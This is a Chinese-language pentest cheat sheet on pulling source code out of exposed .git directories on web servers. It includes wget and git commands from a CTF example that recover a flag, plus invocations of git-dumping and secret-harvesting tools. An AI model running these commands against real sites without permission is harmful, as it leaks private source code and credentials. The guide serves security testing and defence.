跳转至

Git

摘要 (Summary)

方法论 (Methodology)

以下示例将创建 .git 的副本或当前提交的副本。

检查以下文件是否存在,如果存在,您可以提取 .git 文件夹。

  • .git/config
  • .git/HEAD
  • .git/logs/HEAD

从 .git/logs/HEAD 恢复文件内容

  • 检查 403 Forbidden 或目录列表以查找 /.git/ 目录。
  • Git 将所有信息保存在 .git/logs/HEAD 中(也请尝试小写的 head)。
0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000        clone: from https://github.com/fermayo/hello-world-lamp.git
15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com> 1489390329 +0000        commit: Initial.
26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com> 1489390330 +0000        commit: Whoops! Remove flag.
6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com> 1489390332 +0000        commit: Prevent directory listing.
  • 使用哈希值访问提交记录
# 创建一个空的 .git 仓库
git init test
cd test/.git

# 下载文件
wget http://web.site/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c

# 第一个字节作为子目录名,剩余字节作为文件名
mkdir .git/objects/26
mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/

# 显示文件内容
git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c
    tree 323240a3983045cdc0dec2e88c1358e7998f2e39
    parent 15ca375e54f056a576905b41a417b413c57df6eb
    author Michael <michael@easyctf.com> 1489390329 +0000
    committer Michael <michael@easyctf.com> 1489390329 +0000
    Initial.
  • 访问目录树 323240a3983045cdc0dec2e88c1358e7998f2e39

    wget http://web.site/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
    mkdir .git/objects/32
    mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/
    
    git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39
        040000 tree bd083286051cd869ee6485a3046b9935fbd127c0        css
        100644 blob cb6139863967a752f3402b3975e97a84d152fd8f        flag.txt
        040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97        fonts
        100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1        index.html
        040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8        js
    
  • 读取数据 (flag.txt)

wget http://web.site/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
mkdir .git/objects/cb
mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/cb/
git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f

从 .git/index 恢复文件内容

使用 Git 索引文件解析器 https://pypi.python.org/pypi/gin (Python 3)。

pip3 install gin
gin ~/git-repo/.git/index

恢复索引中列出的每个文件的名称和 sha1 哈希值,并使用上述相同过程恢复文件。

$ gin .git/index | egrep -e "name|sha1"
name = AWS Amazon Bucket S3/README.md
sha1 = 862a3e58d138d6809405aa062249487bee074b98

name = CRLF injection/README.md
sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141

工具 (Tools)

自动恢复

git-dumper.py

pip install -r requirements.txt
./git-dumper.py http://web.site/.git ~/website

diggit.py

./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True]
./diggit.py -u http://web.site -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1

-u 是远程路径,即 .git 文件夹所在的路径
-t 是包含虚拟 Git 仓库的本地文件夹路径,blob 内容(文件)将以其实际名称保存在此路径下 (cd /path/to/temp/folder && git init)
-o 是要下载的特定 Git 对象的哈希值

GoGitDumper

go get github.com/c-sto/gogitdumper
gogitdumper -u http://web.site/.git/ -o yourdecideddir/.git/
git log
git checkout

rip-git

perl rip-git.pl -v -u "http://web.site/.git/"

git cat-file -p 07603070376d63d911f608120eb4b5489b507692
tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
parent 15ca375e54f056a576905b41a417b413c57df6eb
author Michael <michael@easyctf.com> 1489389105 +0000
committer Michael <michael@easyctf.com> 1489389105 +0000

git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2

GitHack

GitHack.py http://web.site/.git/

GitTools

./gitdumper.sh http://target.tld/.git/ /tmp/destdir
git checkout -- .

挖掘机密 (Harvesting secrets)

noseyparker

praetorian-inc/noseyparker - Nosey Parker 是一款命令行工具,用于在文本数据和 Git 历史记录中查找机密和敏感信息。

git clone https://github.com/trufflesecurity/test_keys
docker run -v "$PWD":/scan ghcr.io/praetorian-inc/noseyparker:latest scan --datastore datastore.np ./test_keys/
docker run -v "$PWD":/scan ghcr.io/praetorian-inc/noseyparker:latest report --color always
noseyparker scan --datastore np.noseyparker --git-url https://github.com/praetorian-inc/noseyparker
noseyparker scan --datastore np.noseyparker --github-user octocat

trufflehog

搜索 Git 仓库中具有高熵值的字符串和机密信息,并能深入挖掘提交历史记录。

pip install truffleHog
truffleHog --regex --entropy=False https://github.com/trufflesecurity/trufflehog.git

Yar

通过正则表达式、熵值或两者兼有的方式,在用户/组织的 Git 仓库中搜索机密信息。灵感来源于著名的 truffleHog。

go get github.com/nielsing/yar # https://github.com/nielsing/yar
yar -o orgname --both

Gitrob

Gitrob 是一款用于查找推送到 Github 公共仓库的潜在敏感文件的工具。Gitrob 将克隆属于特定用户或组织的仓库(深度可配置),并遍历提交历史,标记出符合潜在敏感文件特征的文件。

go get github.com/michenriksen/gitrob # https://github.com/michenriksen/gitrob
export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
gitrob [options] target [target2] ... [targetN]

Gitleaks

Gitleaks 为您提供了一种查找 Git 源代码仓库中未加密机密和其他不受欢迎数据类型的方法。

  • 针对公共仓库运行 Gitleaks

    docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git
    
  • 针对已克隆到 /tmp/ 的本地仓库运行 Gitleaks

    docker run --rm --name=gitleaks -v /tmp/:/code/  zricethezav/gitleaks -v --repo-path=/code/gitleaks
    
  • 针对特定的 Github Pull Request 运行 Gitleaks

    docker run --rm --name=gitleaks -e GITHUB_TOKEN={your token} zricethezav/gitleaks --github-pr=https://github.com/owner/repo/pull/9000
    

参考资料 (References)